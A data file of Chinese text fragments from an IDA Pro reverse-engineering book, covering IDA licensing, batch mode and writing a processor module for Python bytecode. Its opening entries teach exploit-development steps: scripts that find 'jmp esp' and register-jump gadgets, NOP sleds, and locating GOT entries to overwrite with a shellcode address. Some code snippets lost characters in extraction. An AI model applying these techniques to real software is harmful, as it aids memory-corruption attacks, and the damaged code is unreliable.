    {"text": "在IDC 中，使用 FindBinary 函数，可以通过编程执行二进制搜索，如下所示： ea = FindBinary(MinEA(), SEARCH_DOWN | SEARCH_CASE, \"FF E4\"); 这个函数以区分大小写的方式，从数据库中最低的虚拟地址向下（朝较高的地址）搜索 jmp esp（FF E4） 。"},
    {"text": "使用这个脚本，我们可以搜索将控制权转交给 EDX寄存器所指位置的指令，并收到类似于下面的结果： Searching... Found jmp edx (FF E2) at 0x80816e6 Found call edx (FF D2) at 0x8048138 Found 2 occurrences 在数据库中搜索指令时，这样的便捷脚本不但可以为我们节省大量时间，还可以确保我们不会忘记考虑到所有可能的情况。"},
    {"text": "知道我们的shellcode 最终将进入一个静态缓冲区（例如，在 .data 或 .bss 节中），总比知道shellcode将加载到堆或栈中要强，因为我们最后可以得到一个已知的固定地址，并可以将控制权转交给这个地址。"},
    {"text": "NOP滑道 “NOP 滑道”是一个长长的连续无操作（什么也不做）指令序列，当知道我们的 shellcode的地址可变时，它为我们提供了更广泛的目标，用以触发我们的shellcode 。"},
    {"text": "如果“NOP 滑道”（以及有效负载的剩余部分）在内存中的位置稍微向上或向下移动，我们仍然有很大机会进入“滑道”的某个位置，并成功触发 shellcode 。 例如，如果我们有用于 500 个NOP 作为我们shellcode 的“前缀”的空间，那么，只要我们猜测的滑道中间的地址与真实地址之间的差距在 250 个字节以内，我们仍然能够以“滑道”的中间位置为目标，并触发我们的 shellcode 。"},
    {"text": "以尽可能自动化的方式，下面的 Python 脚本能够迅速报告将要被给定的函数调用使用的GOT条目的地址： ea = ScreenEA() dref = ea for xref in XrefsFrom(ea, 0): ➊ if xref.type == fl_CN and SegName(xref.to) == \".plt\": ➋ for dref in DataRefsFrom(xref.to): Message(\"GOT entry for %s is at 0x%08x\\n\" % (GetFunctionName(xref.to), dref)) break if ea == dref: Message(\"Sorry this does not appear to be a library function call\\n\") 将光标放置在任何库函数调用上，如下所示，这个脚本将会运行： .text:080513A8 call _memset 这个脚本首先遍历交叉引用，直到到达 GOT。"},
    {"text": "如果对前面的_memset 函数调用执行这个脚本，将生成以下输出： GOT entry for .memset is at 0x080618d8 在我们通过“劫持”一个 memset 函数调用来控制相关程序时，这个输出为我们提供了所需的信息，即我们需要用我们的 shellcode 的地址覆写地址 0x080618d8 处的内容。"},
    {"text": "未知 21.5 小结 当前，恶意软件大多是模糊程序。因此，如果你希望研究一个恶意软件样本的内部运行机制，几乎可以肯定，你需要完成某种类型的去模糊任务。无论你是采用调试器辅助的动态去模糊方法，还是不想运行可能恶意的代码，而选择使用脚本或模拟对二进制文件进行去模糊处理，你的最终目标都是生成一个可以被完全反汇编、正确分析的去模糊二进制文件。多数情况下，最后的分析都要由IDA 之类的工具来完成。鉴于此（即使用 IDA 进行分析），尝试从头至尾使用IDA 似乎有一定的道理。本章讨论的各种技巧旨在说明 IDA 除生成反汇编代码清单以外的其他许多功能。在第25 章中，我们将再次讨论模糊代码，并说明如何将IDA 的内部调试器作为一个去模糊工具。 未知 3.1 Hex-Rays公司的反盗版策略 IDA 用户应了解以下几项事实。IDA 是Hex-Rays 公司的旗舰产品。因此，他们对于未经授权就使用 IDA 的做法深恶痛绝。过去，该公司发现，盗版 IDA 的发布与公司销售量的下滑有着直接的因果关系。为此，IDA 的前发行公司 DataRescue 甚至将盗版者的姓名张贴在它的“耻辱堂”（Hall of Shame ） 1 中。为打击盗版，IDA 采用了几项反盗版技术，并实施了许可限制。 1. 该“耻辱堂”已被转移到Hex-Rays 的网站： http://www.hex-rays.com/idapro/hallofshame.html 。 用户需要了解的第一种技术是：每一份IDA 都带有水印，以将它与购买者一对一地对应起来。如果一份 IDA 出现在盗版软件站点中，Hex-Rays 就能够通过水印追踪到购买者，并将其列入销售黑名单。我们常常可以在 Hex-Rays 的IDA 支持论坛上发现有关 IDA 的“泄露”版本的讨论。 为实施许可策略，IDA 采用的另一种技术是扫描在局域网中运行的其他 IDA 程序。例如，Windows 版本的IDA 启动后，它会在端口 23945 上广播一个UDP 包，并等待响应，看相同子网中是否有其他使用相同许可证密钥的 IDA 实例在运行。然后，IDA 会将得到的响应数量与使用该许可证的用户的数量进行比较，如果发现网络中存在过多的 IDA 实例，IDA 会拒绝启动。但是要注意，用户可以在一台计算机上使用相同的许可证运行多个 IDA 实例。 IDA 实施许可策略的最后一种方法是，使用密钥文件将每一名购买者与产品联系起来。在启动时，IDA 会搜索一个有效的 ida.key 文件。如果无法定位有效的密钥文件，IDA 就会立即关闭。密钥文件还用于确定用户升级 IDA 的资格。基本上，ida.key 文件就像是用户的购买收据，要想在将来获得升级资格，用户必须保管好这个文件。 未知 10.2 使用IDA 的批量模式 所有版本的 IDA 都可以在批量模式下运行，以完成自动处理任务。使用批量模式的主要目的是启动 IDA ，使它运行一段特定的 IDC 脚本，并在该脚本完成后立即终止。在批量模式下，你可以使用几个命令行选项控制 IDA 所执行的处理。 GUI 版本的IDA 并不需要控制台来运行，这使得它们可以非常轻松地合并到几乎任何类型的自动脚本或包装程序中。在批量模式下运行时，GUI 版本的IDA 并不显示任何图形组件。运行Windows 控制台版本（idaw.exe 和idaw64.exe ）会生成一个完整的控制台窗口，在批处理结束时，这个窗口会自动关闭。通过将输出重定向到一个空设备（cmd.exe 的为NUL，在cygwin 的/dev/null 目录中），可以禁用控制台窗口，如下所示： C:\\Program Files\\Ida>idaw -B some_program.exe > NUL IDA 的批量模式由以下命令行参数控制。 -A 选项使IDA 在自动模式下运行，这表示 IDA 不会显示需要用户交互的对话框。（实际上，如果你从未单击 IDA 的许可协议，那么无论你是否使用这个选项，许可协议对话框都会显示。 -c 选项要求IDA 删除与在命令行中指定的文件有关的任何现有数据库，并生成一个全新的数据库。 -S 选项用于指定IDA 在启动时应运行哪一段IDC 脚本。运行myscript.idc 的语法为 -Smyscript.idc （在S 与脚本名称之间没有空格）。IDA 会在/idc目录中搜索指定的脚本。如果已经安装 IDAPython, 也可以在这里指定 Python 脚本。 -B 选项调用批量模式，它等同于在执行时对 IDA 使用 -A -c -Sanalysis.idc` 。IDA 自带的analysis.idc 脚本会等待 IDA 分析在命令行中指定的文件，然后再转储反汇编代码的汇编列表（.asm 文件）并关闭 IDA ，以保存和关闭新生成的数据库。 -S 选项实际上是批量模式的关键，因为只有指定的脚本使 IDA 终止，IDA 才会终止。如果脚本没有关闭 IDA ，那么，所有的选项将组合在一起，自动完成 IDA 的启动过程。我们将在第15章中讨论如何编写 IDC 脚本。由于 Linux和OS X版本的IDA 使用的TVision库存在限制，批处理必须从TTY 控制台执行，并且无法进行后台处理（和重定向）。幸好最新版本的TVision能识别 TVHEADLESS 环境变量，因而允许重定向控制台输出（ stdout ），如下所示： # TVHEADLESS=1 ./idal –B input_file.exe > /dev/null 完全脱离控制台以在后台执行需要对 stdin 和 stderr 进行额外的重定向。 Ilfak 在他的一篇博客文章中谈到批量模式，地址为 http://hexblog.com/2007/03/on_batch_analysis.html 。他还详细说明了如何执行除调用单独一段脚本以外的操作，并讨论了如何在批量模式下运行 IDA 插件。"},
    {"text": "未知 19.3 使用SDK编写处理器模块 在讨论如何创建处理器模块之前，必须指出，有关处理器模块的文档资料非常少。 除了浏览SDK 包含文件和 SDK 提供的处理器模块源代码外，SDK 的readme.txt 文件是唯一一个说明如何创建处理器模块的文件，其中有几条提示位于Description of Processor modules（处理器模块说明）标题下。"},
    {"text": "编写处理器模块之所以非常困难，其中一个原因是 processor_t 结构体包含56个必须初始化的字段，其中 26 个字段是函数指针，并且有 1 个字段是一个指向数组的指针，这个数组由一个或多个结构体指针构成，每个指针指向一种包含 59 个需要初始化的字段的结构体（ asm_t ）。"},
    {"text": "struct instruc_t { const char *name; //instruction mnemonic ulong feature; //bitwise OR of CF_xxx flags defined in idp.hpp }; feature 字段用于说明各种行为，如指令是否读取或写入它的操作数，指令执行时程序该如何继续（默认、跳转、调用）。"},
    {"text": "具体来说，你没有必要根据与指令有关的二进制操作码对指令排序，这个数组中的指令与有效的二进制操作码之间也不需要建立一一对应的关系。"},
    {"text": "示例指令数组的前几行和后几行如下所示： instruc_t Instructions[] = { {\"STOP_CODE\", CF_STOP}, /* 0 */ {\"POP_TOP\", 0}, /* 1 */ {\"ROT_TWO\", 0}, /* 2 */ {\"ROT_THREE\", 0}, /* 3 */ {\"DUP_TOP\", 0}, /* 4 */ {\"ROT_FOUR\", 0}, /* 5 */ ➊ {NULL, 0}, /* 6 */ ... {\"CALL_FUNCTION_VAR_KW\", CF_CALL}, /* 142 */ {\"SETUP_WITH\", 0}, /* 143 */ {\"EXTENDED_ARG\", 0}, /* 145 */ {\"SET_ADD\", 0}, /* 146 */ {\"MAP_ADD\", 0} /* 147 */ }; 在我们的例子中，由于 Python 字节码非常简单，我们将在指令与字节码之间保持一一对应的关系。"},
    {"text": "通常，ins.hpp 文件定义了一组相关的枚举常量，说明了整数和指令之间的对应关系，如下所示： enum python_opcodes { STOP_CODE = 0, POP_TOP = 1, //remove top item on stack ROT_TWO = 2, //exchange top two items on stack ROT_THREE = 3, //move top item below the 2nd and 3rd items DUP_TOP = 4, //duplicate the top item on the stack ROT_FOUR = 5, //move top item below the 2nd, 3rd, and 4th items NOP = 9, //no operation ... CALL_FUNCTION_VAR_KW = 142, SETUP_WITH = 143, EXTENDED_ARG = 145, SET_ADD = 146, MAP_ADD = 147, PYTHON_LAST = 148 }; 这里选择为每一条指令显式赋值，这既是为了表述清楚，也因为指令序列中留有空白（由于使用了真正的 Python 操作码作为指令索引）。"},
    {"text": "这3 个字段为： int instruc_start; // integer code of the first instruction int instruc_end; // integer code of the last instruction + 1 instruc_t *instruc; // array of instructions 我们必须分别使用 STOP_CODE 、 PYTHON_LAST 和 Instructions 初始化这些字段。"},
    {"text": "在这里，为了简化，我们仅限于基本的x86 寄存器集合： static char *RegNames[] = { \"eax\", \"ebx\", \"ecx\", \"edx\", \"edi\", \"esi\", \"ebp\", \"esp \"ax\", \"bx\", \"cx\", \"dx\", \"di\", \"si\", \"bp\", \"sp\", \"al\", \"ah\", \"bl\", \"bh\", \"cl\", \"ch\", \"dl\", \"dh\", \"cs\", \"ds\", \"es\", \"fs\", \"gs\" }; RegNames 数组通常在文件reg.cpp 中声明。"},
    {"text": "寄存器枚举在一个头文件中声明，通常这个文件以处理器名称命名（这里可能为 x86.hpp），如下所示： enum x86_regs { r_eax, r_ebx, r_ecx, r_edx, r_edi, r_esi, r_ebp, r_esp, r_ax, r_bx, r_cx, r_dx, r_di, r_si, r_bp, r_sp, r_al, r_ah, r_bl, r_bh, r_cl, r_ch, r_dl, r_dh, r_cs, r_ds, r_es, r_fs, r_gs }; 一定要维护寄存器名称数组与相关联的常量集合之间的正确对应关系。 在格式化指令操作数时，寄存器名称数组与枚举的寄存器常量共同作用，使处理器模块能够迅速查询寄存器名称。"},
    {"text": "这两个数据声明用于初始化 LPH 中的其他字段： int regsNum; // total number of registers char **regNames; // array of register names 通常，这两个字段分别使用 qnumber（RegNames） 和 RegNames 进行初始化，这里的 qnumber 是一个宏，它在 pro.h中定义，用于计算一个静态分配的数组的元素数量。"},
    {"text": "段寄存器使用 processor_t 中的下列字段配置： ➊ // Segment register information (use virtual CS and DS registers if // your processor doesn't have segment registers): int regFirstSreg; // number of first segment register int regLastSreg; // number of last segment register int segreg_size; // size of a segment register in bytes ➋ // If your processor does not use segment registers, You should define // 2 virtual segment registers for CS and DS. // Let's call them rVcs and rVds. int regCodeSreg; // number of CS register int regDataSreg; // number of DS register 要初始化我们假定的 x86 处理器模块，需要按如下顺序对前面的 5 个字段进行初始化： r_cs, r_gs, 2, r_cs, r_ds 请注意➊和➋处有关段寄存器的注释。"},
    {"text": "回到 Python 示例，在设置寄存器对应关系时，我们几乎没有什么工作要做，因为Python 解释器采用的是一个基于栈的体系结构，它并不使用寄存器，但我们仍然需要处理段寄存器问题。"},
    {"text": "对于Python 处理器，我们做如下处理： //in reg.cpp static char *RegNames = { \"cs\", \"ds\" }; //in python.hpp enum py_registers { rVcs, rVds }; 声明就绪后，我们可以回过头来使用下面的值初始化 LPH 中的相应字段： rVcs, rVds, 0, rVcs, rVds 在开始执行 Python 处理器的任何行为之前，都应花一些时间了解与初始化 LPH 结构体有关的一些简单知识。"},
    {"text": "processor_t 的前5 个字段如下所示： int version; // should be IDP_INTERFACE_VERSION int id; // IDP id, a PLFM_xxx value or self assigned > 0x8000 ulong flag; // Processor features, bitwise OR of PR_xxx values int cnbits; // Number of bits in a byte for code segments (usually 8) int dnbits; // Number of bits in a byte for data segments (usually 8) 这里的 version 字段看起来有些眼熟，因为插件和加载器模块也使用了这个字段。"},
    {"text": "对于Python 处理器，我们仅指定 PR_RNAMESOK 和 PRN_DEC ，前者允许将寄存器名称用作位置名称（因为我们没有寄存器，这不会造成问题），后者将默认的数字显示格式设置为十进制。"},
    {"text": "这个函数的原型非常简单，如下所示： int idaapi ana(void); //analyze one instruction and return the instruction length 你必须用一个指向分析器函数的指针初始化 LPH 对象的 u_ana 成员。"},
    {"text": "它的声明如下所示： class insn_t { public: ea_t cs; // Current segment base paragraph. Set by kernel ea_t ip; // Virtual address of instruction (within segment). Set by kernel ea_t ea; // Linear address of the instruction. Set by kernel ➊ uint16 itype; // instruction enum value (not opcode!). Proc sets this in ana ➋ uint16 size; // Size of instruction in bytes. Proc sets this in ana union { // processor dependent field. Proc may set this uint16 auxpref; struct { uchar low; uchar high; } auxpref_chars; }; char segpref; // processor dependent field. Proc may set this char insnpref; // processor dependent field. Proc may set this ➌ op_t Operands[6]; // instruction operand info. Proc sets this in char flags; // instruction flags. Proc may set this }; 在调用分析器函数之前，IDA 内核（IDA 的核心）会使用指令的分段的线性地址填充 cmd 对象的前3 个字段。"},
    {"text": "这些函数如下所示： //read one byte from current instruction location uchar ua_next_byte(void); //read two bytes from current instruction location ushort ua_next_word(void); //read four bytes from current instruction location ulong ua_next_long(void); //read eight bytes from current instruction location ulonglong ua_next_qword(void); 其中的 current instruction location （当前指令位置）是 cmd.ip 文件中的初始值。"},
    {"text": "每次调用一个 ua_next_xxx 函数，都会产生一个副作用，即 cmd.size 的大小会根据被调用的 ua_next_xxx 函数所请求的字节数量（1、2、4 或8）递增。"},
    {"text": "指令操作数使用在 ua.hpp 中定义的 op_t 类的实例表示，如下所示： class op_t { public: char n; // number of operand (0,1,2). Kernel sets this do not change! optype_t type; // type of operand. Set in ana, See ua.hpp for values // offset of operand relative to instruction start char offb; //Proc sets this in ana, set to 0 if unknown // offset to second part of operand (if present) relative to instruction start char offo; //Proc sets this in ana, set to 0 if unknown uchar flags; //Proc sets this in ana. See ua.hpp for possible values char dtyp; // Specifies operand datatype. Set in ana. See ua.hpp for values // The following unions keep other information about the operand union { uint16 reg; // number of register for type o_reg uint16 phrase; // number of register phrase for types o_phrase and o_displ // define numbers of phrases as you like }; union { // value of operand for type o_imm or uval_t value; // outer displacement (o_displ+OF_OUTER_DISP) struct { // Convenience access to halves of value uint16 low; uint16 high; } value_shorts; }; union { // virtual address pointed or used by the operand ea_t addr; // for types (o_mem,o_displ,o_far,o_near) struct { // Convenience access to halves of addr uint16 low; uint16 high; } addr_shorts; }; //Processor dependent fields, use them as you like. Set in ana union { ea_t specval; struct { uint16 low; uint16 high; } specval_shorts; }; char specflag1, specflag2, specflag3, specflag4; }; 要配置一个操作数，首先需要将操作数的 type 字段设置为在ua.hpp 中定义的一个枚举 optype_t 常量。"},
    {"text": "操作数类型包括 o_reg、o_mem 和 o_imm ，它们分别表示操作数是一个寄存器的内容、一个在编译时获知的内存地址和指令中的即时数据。"},
    {"text": "下面的x86 指令说明了一些主要的操作数数据类型与常用的操作数之间的对应关系： mov eax, 0x31337 ; o_reg(dt_dword), o_imm(dt_dword) push word ptr [ebp - 12] ; o_displ(dt_word) mov [0x08049130], bl ; o_mem(dt_byte), o_reg(dt_byte) movzx eax, ax ; o_reg(dt_dword), o_reg(dt_word) ret ; o_void(dt_void) op_t 中各种联合的使用方式由 type 字段的值确定。"},
    {"text": "例如，如果一个操作数的类型为 o_imm ，则即时数据值应存储在 value 字段中； 如果操作数的类型为 o_reg ，则寄存器编号（根据一组枚举的寄存器常量）应存储在 reg 字段中。"},
    {"text": "我们创建的基本分析器如下所示： #define HAVE_ARGUMENT 90 int idaapi py_ana(void) { cmd.itype = ua_next_byte(); //opcodes ARE itypes for us (updates cmd.size) if (cmd.itype >= PYTHON_LAST) return 0; //invalid instruction if (Instructions[cmd.itype].name == NULL) return 0; //invalid instruction if (cmd.itype < HAVE_ARGUMENT) { //no operands cmd.Op1.type = o_void; //Op1 is a macro for Operand[0] (see ua.hpp) cmd.Op1.dtyp = dt_void; } else { //instruction must have two bytes worth of operand data if (flags[cmd.itype] & (HAS_JREL | HAS_JABS)) { cmd.Op1.type = o_near; //operand refers to a code location } else { cmd.Op1.type = o_mem; //operand refers to memory (sort of) } cmd.Op1.offb = 1; //operand offset is 1 byte into instruction cmd.Op1.dtyp = dt_dword; //No sizes in python so we just pick something cmd.Op1.value = ua_next_word(); //fetch the operand word (updates cmd.size) cmd.auxpref = flags[cmd.itype]; //save flags for later stages if (flags[cmd.itype] & HAS_JREL) { //compute relative jump target cmd.Op1.addr = cmd.ea + cmd.size + cmd.Op1.value; } else if (flags[cmd.itype] & HAS_JABS) { cmd.Op1.addr = cmd.Op1.value; //save absolute address } else if (flags[cmd.itype] & HAS_CALL) { //target of call is on the stack in Python, the operand indicates //how many arguments are on the stack, save these for later stages cmd.Op1.specflag1 = cmd.Op1.value & 0xFF; //positional parms cmd.Op1.specflag2 = (cmd.Op1.value >> 8) & 0xFF; //keyword parms } } return cmd.size; } 对Python 处理器模块来说，我们为每条指令创建了另外一个标志数组，用于补充（有时候是复制）每条指令的“典型特征”。"},
    {"text": "如果不深入分析 Python 解释器的操作，我们很难解释分析阶段的每一个细节，因此，利用前面代码中的注释，基于分析器的工作是解析单条指令，我们将分析器的功能总结为如下内容。"},
    {"text": "如果该指令没有操作数，则将 cmd.Operand[0] （cmd.Op1 ）初始化为 o_void 。 如果该指令有一个操作数，则初始化 cmd.Operand[0] 以反映该操作数的类型。"},
    {"text": "在 IDA 处理器模块中，模拟器通常由 emu.cpp 文件中的 emu （你可以使用任何你喜欢的名称）函数实现。 和 ana 函数一样，这个函数的原型非常简单，如下所示： int idaapi emu(void); //emulate one instruction 根据idp.hpp文件， emu 函数应返回被模拟的指令的长度，但是，绝大多数的样本模拟器似乎返回的都是 1。"},
    {"text": "下面是一个每条指令最多包含两个操作数的指令集的基本模拟器函数（典型的SDK示例）： void TouchArg(op_t &op, int isRead); //Processor author writes this int idaapi emu() { ulong feature = cmd.get_canon_feature(); //get the instruction's CF_xxx flags if (feature & CF_USE1) TouchArg(cmd.Op1, 1); if (feature & CF_USE2) TouchArg(cmd.Op2, 1); if (feature & CF_CHG1) TouchArg(cmd.Op1, 0); if (feature & CF_CHG2) TouchArg(cmd.Op2, 0); if ((feature & CF_STOP) == 0) { //instruction doesn't stop //add code cross ref to next sequential instruction ua_add_cref(0, cmd.ea + cmd.size, fl_F); } return 1; } 对于每个指令操作数，前面的函数检查指令的“典型特征”，以确定是否应生成任何交叉引用。"},
    {"text": "使用 ua_add_off_drefs 添加一个偏移量交叉引用，如 ua_add_off_ drefs(op, dr_0) ;。 如果操作数类型为 o_displ 且操作数的数值是一个指针，则根据需要创建一个读取或写入类型的偏移量交叉引用，如 ua_add_off_drefs(op, isRead ? dr_R : dr_W) ; 。 如果操作数类型为 o_mem ，则根据需要使用 ua_add_dref 添加一个读取或写入类型的数据交叉引用，如 ua_add_dref(op.offb, op.addr, isRead ? dr_R : dr_W); 。 如果操作数类型为 o_near ，则根据需要使用 ua_add_cref 添加一个跳转或调用交叉引用，如 ua_add_cref(op.offb, op.addr, feature & CF_CALL ? fl_CN : fl_JN) ; 。"},
    {"text": "模拟器应通过 add_auto_stkpnt 2函数告诉IDA ：一条指令更改了栈指针的值。 add_auto_stkpnt 2函数的原型如下所示： bool add_auto_stkpnt2(func_t *pfn, ea_t ea, sval_t delta); pfn 指针应指向包含被模拟地址的函数。"},
    {"text": "使用 push 操作对栈指针进行简单的4 字节调整，其模拟代码如下： if (cmd.itype == X86_push) { add_auto_stkpnt2(NULL, cmd.ea + cmd.size, -4); } 为了准确记录栈指针的行为，模拟器应能够识别和模拟更改栈指针的所有指令，而不仅仅是简单的 push 和 pop 指令。 如果一个函数通过从栈指针中减去一个常量值来分配它的局部变量，这时跟踪栈指针可能会更加复杂，如下所示： //handle cases such as: sub esp, 48h if (cmd.itype == X86_sub && cmd.Op1.type == o_reg && cmd.Op1.reg == r_esp && cmd.Op2.type == o_imm) { add_auto_stkpnt2(NULL, cmd.ea + cmd.size, -cmd.Op2.value); } 因为各CPU 体系结构之间存在巨大的差异，IDA （或任何其他类似的程序）不可能考虑到操作数的每一种构成，以及指令引用其他指令或数据的每一种方式。"},
    {"text": "示例Python 处理器的模拟器如下所示： int idaapi py_emu(void) { //We can only resolve target addresses for relative jumps if (cmd.auxpref & HAS_JREL) { //test the flags set by the analyzer ua_add_cref(cmd.Op1.offb, cmd.Op1.addr, fl_JN); } //Add the sequential flow as long as CF_STOP is not set if((cmd.get_canon_feature() & CF_STOP) == 0) { //cmd.ea + cmd.size computes the address of the next instruction ua_add_cref(0, cmd.ea + cmd.size, fl_F); } return 1; } 由于Python 解释器所使用的体系结构，我们能够生成的交叉引用的类型受到很大的限制。"},
    {"text": "同样，虽然我们能够直接从指令操作数中读取数据项索引值，但是，除非我们解析.pyc 文件中包含的其他元信息，否则无法获知保存这些数据的表的结构。"},
    {"text": "如果我们想进行栈指针跟踪，应该记住的是，作为一种基于栈的体系结构，几乎每一条Python 指令都会以某种方式修改栈。 在这种情况下，为了简单确定每条指令更改了多少个栈指针，一个较为容易的方法是为每条Python 指令定义一个数值数组，并在这些数值中包含每条指令修改栈的总次数。"},
    {"text": "19.3.5 输出器 输出器的作用是根据 cmd 全局变量的指示，将一条经过反汇编的指令输出到IDA 窗口中。 在IDA 处理器模块中，输出器通常由 out.cpp 文件中的 out （你可以使用任何你喜欢的名称）函数实现。"},
    {"text": "与 ana 和 emu 函数一样，这个函数的原型非常简单，如下所示： void idaapi out(void); //output a single disassembled instruction 你必须使用一个指向输出函数的指针初始化 LPH 对象的 u_out 成员。"},
    {"text": "一些用于生成输出行组件的函数在 ua.hpp 文件的以下标题下声明： //-------------------------------------------------------------------------- // I D P H E L P E R F U N C T I O N S - O U T P U T //-------------------------------------------------------------------------- 使用在输出缓冲区中插入特殊颜色标签的函数，你可以给每个输出行的各个部分添加颜色。"},
    {"text": "IDA 并未使用可以直接在其中写入内容的基于控制台的输出模型，而是采用一种基于缓冲区的输出方案，使用这种方案，你必须在一个字符缓冲区中写入一行显示文本，然后要求 IDA 显示这个缓冲区。"},
    {"text": "调用 init_output_buffer(char *buf, size_t bufsize) （在ua.hpp 中声明）初始化你的输出缓冲区。 利用在ua.hpp 中声明的缓冲区输出函数，通过添加经过初始化的缓冲区生成一行内容。"},
    {"text": "严格来讲，只要你不介意要完全控制生成缓冲区的整个过程，并放弃使用ua.hpp 文件提供的便捷函数，你就可以略过上面前 4 个步骤中的缓冲区操作，直接调用 MakeLine 函数。"},
    {"text": "在输出缓冲区中插入一个“打开颜色”标签。 随后输出的缓冲区将以给定的颜色显示，直到遇到“关闭颜色”标签。 out_tagoff(color_t tag) 。 在输出缓冲区中插入“关闭颜色”标签。"},
    {"text": "下面的函数提供了这样的基本功能： //with the following we can do things like: OutReg(op.reg); void OutReg(int regnum) { out_register(ph.regNames[regnum]); //use regnum to index register names array } IDA 仅在必要时调用 out 函数，例如一个地址出现在一个 IDA 窗口，或一个反汇编行的某些部分被重新格式化时。"},
    {"text": "MakeLine 的原型如下所示： bool MakeLine(const char *contents, int indent = -1); indent 值为-1 表示使用默认缩进，它是在 Options▶General对话框的 Disassembly部分指定的 inf.indent 的当前值。"},
    {"text": "关于 gl_comm ，需要注意的是，除非 gl_comm 被设置为1 ，否则注释根本不会显示。 如果 gl_comm 设置为0 ，即使用户输入 1 并且在OptionsGeneral设置中启用注释，注释仍然不会在你生成的输出后面显示。 问题是， gl_comm 的默认值为0 ，因此，如果你希望用户在使用你的处理器模块时看到注释，你需要在某个时候将它设置为1 。"},
    {"text": "了解了构建输出器的重点内容后，下面是示例 Python 处理器的 out 函数： void py_out(void) { char str[MAXSTR]; //MAXSTR is an IDA define from pro.h init_output_buffer(str, sizeof(str)); OutMnem(12); //first we output the mnemonic if(cmd.Op1.type != o_void) { //then there is an argument to print out_one_operand(0); } term_output_buffer(); gl_comm = 1; //we want comments! MakeLine(str); //output the line with default indentation } 这个函数以一种非常简单的方式处理一个反汇编行的各个组件。"},
    {"text": "在Python 示例中，我们被迫使用一个非常简单的 outop 函数，因为多数情况下，我们都缺乏将整数操作数转换成其他更易懂的数据所需的信息。 outop 函数的实现过程如下所示，我们仅仅对比较和相对跳转进行了特殊处理： char *compare_ops[] = { \"<\", \"<=\", \"==\", \"!=\", \">\", \">=\", \"in\", \"not in\", \"is\", \"is not\", \"exception match\" }; bool idaapi py_outop(op_t& x) { if (cmd.itype == COMPARE_OP) { //For comparisons, the argument indicates the type of comparison to be //performed. Print a symbolic representation of the comparison rather //than a number. if (x.value qnumber(compare_ops)) { OutLine(compare_ops[x.value]); } else { OutLine(\"BAD OPERAND\"); } } else if (cmd.auxpref & HAS_JREL) { //we don't test for x.type == o_near here because we need to distinguish //between relative jumps and absolute jumps. In our case, HAS_JREL //implies o_near out_name_expr(x, x.addr, x.addr); } else { //otherwise just print the operand value OutValue(x); } return true; } 除了经过反汇编的指令外，反汇编代码清单中通常还包括应表示为数据的字节。"},
    {"text": "d_out 的原型如下： void idaapi d_out(ea_t ea); //format data at the specified address d_out 函数应检查与 ea 参数指定的地址有关的标志，并以所生成的汇编语言生成数据的相应表示形式。"},
    {"text": "举例来说，以下面这种方式应用这个函数： void idaapi python_data(ea_t ea) { char obuf[256]; init_output_buffer(obuf, sizeof(obuf)); flags_t flags = get_flags_novalue(ea); //get the flags for address ea if (isWord(flags)) { //output a word declaration out_snprintf(\"%s %xh\", ash.a_word ? ash.a_word : \"\", get_word(ea)); } else if (isDwrd(flags)) { //output a dword declaration out_snprintf(\"%s %xh\", ash.a_dword ? ash.a_dword : \"\", get_long(ea)); } else { //we default to byte declarations in all other cases int val = get_byte(ea); char ch = ' '; if (val >= 0x20 && val = 0x7E) { ch = val; } out_snprintf(\"%s %02xh ; %c\", ash.a_byte ? ash.a_byte : \"\", val, ch); } term_output_buffer(); gl_comm = 1; MakeLine(obuf); } bytes.hpp 中声明了一些函数，它们用于访问和测试与数据库中的任何地址有关的标志。"},
    {"text": "notify 函数的原型如下所示： int idaapi notify(idp_notify msgid, ...); //notify processor with a given msg notify 函数是一个参数可变的函数，它接收一个通知代码以及一个特定于通知代码的参数列表，其中列表中的参数数量可变。"},
    {"text": "通知消息既适用于简单的操作，如加载（ init ）和卸载（ term ）处理器，也适用于复杂的通知，如创建的代码或数据、添加或删除的函数、添加或删除的段。"},
    {"text": "在分析 notify 函数的示例之前，我们先来看在 SDK 的一些样本处理器模块中发现的下列注释： // A well-behaving processor module should call invoke_callbacks() // in its notify() function. If invoke_callbacks function returns 0, // then the processor module should process the notification itself. // Otherwise the code should be returned to the caller. 为了确保所有已经“钩住”处理器通知的模块都能够得到通知，必须调用 invoke _ callbacks 函数。"},
    {"text": "Python 处理器中使用的 notify 函数如下所示： static int idaapi notify(processor_t::idp_notify msgid, ...) { va_list va; va_start(va, msgid); //setup args list int result = invoke_callbacks(HT_IDP, msgid, va); if (result == 0) { result = 1; //default success switch(msgid) { case processor_t::init: inf.mf = 0; //ensure little endian! break; case processor_t::make_data: { ea_t ea = va_arg(va, ea_t); flags_t flags = va_arg(va, flags_t); tid_t tid = va_arg(va, tid_t); asize_t len = va_arg(va, asize_t); if (len > 4) { //our d_out can only handle byte, word, dword result = 0; //disallow big data } break; } } } va_end(va); return result; } notify 函数仅处理两个通知代码： init 和 make_data 。"},
    {"text": "header ，在示例中指向空函数。 footer ，在示例中指向空函数。 segstart ，在示例中指向空函数。 segend ，在示例中指向空函数。 is_far_jump ，在示例中设置为 NULL。 ranslate ，在示例中设置为 NULL。"},
    {"text": "is_sp_based ，在示例中设置为 NULL。 create_func_frame ，在示例中设置为 NULL。 get_frame_retsize ，在示例中设置为 NULL。 u_outspec ，在示例中设置为 NULL。 set_idp_options ，在示例中设置为 NULL。"},
    {"text": "最终，我们的简单 Python 处理器的完整版本能够生成下面的代码： ROM:00156 LOAD_CONST 12 ROM:00159 COMPARE_OP == ROM:00162 JUMP_IF_FALSE loc_182 ROM:00165 POP_TOP ROM:00166 LOAD_NAME 4 ROM:00169 LOAD_ATTR 10 ROM:00172 LOAD_NAME 5 ROM:00175 CALL_FUNCTION 1 ROM:00178 POP_TOP ROM:00179 JUMP_FORWARD loc_183 ROM:00182 # ---------------------------------------------------------- ROM:00182 loc_182: # CODE XREF: ROM:00162j ROM:00182 POP_TOP ROM:00183 ROM:00183 loc_183: # CODE XREF: ROM:00179j ROM:00183 LOAD_CONST 0 ROM:00186 RETURN_VALUE 虽然我们可以生成比上面的代码揭示更多信息的 Python 反汇编代码清单，但是我们需要了解更多与.pyc 文件格式有关的信息。"},
    {"text": "未知 8.2 创建IDA 结构体 在上一章中，我们见识了 IDA 的数组聚合能力，它通过将一长串的数据声明变成一个反汇编行，简化了反汇编代码清单。"},
    {"text": "只要发现一个程序正操纵某种数据结构，你就需要确定：你是否希望将结构体的字段名称合并到反汇编代码清单中，或者你是否理解分散在代码清单中的所有数字偏移量。"},
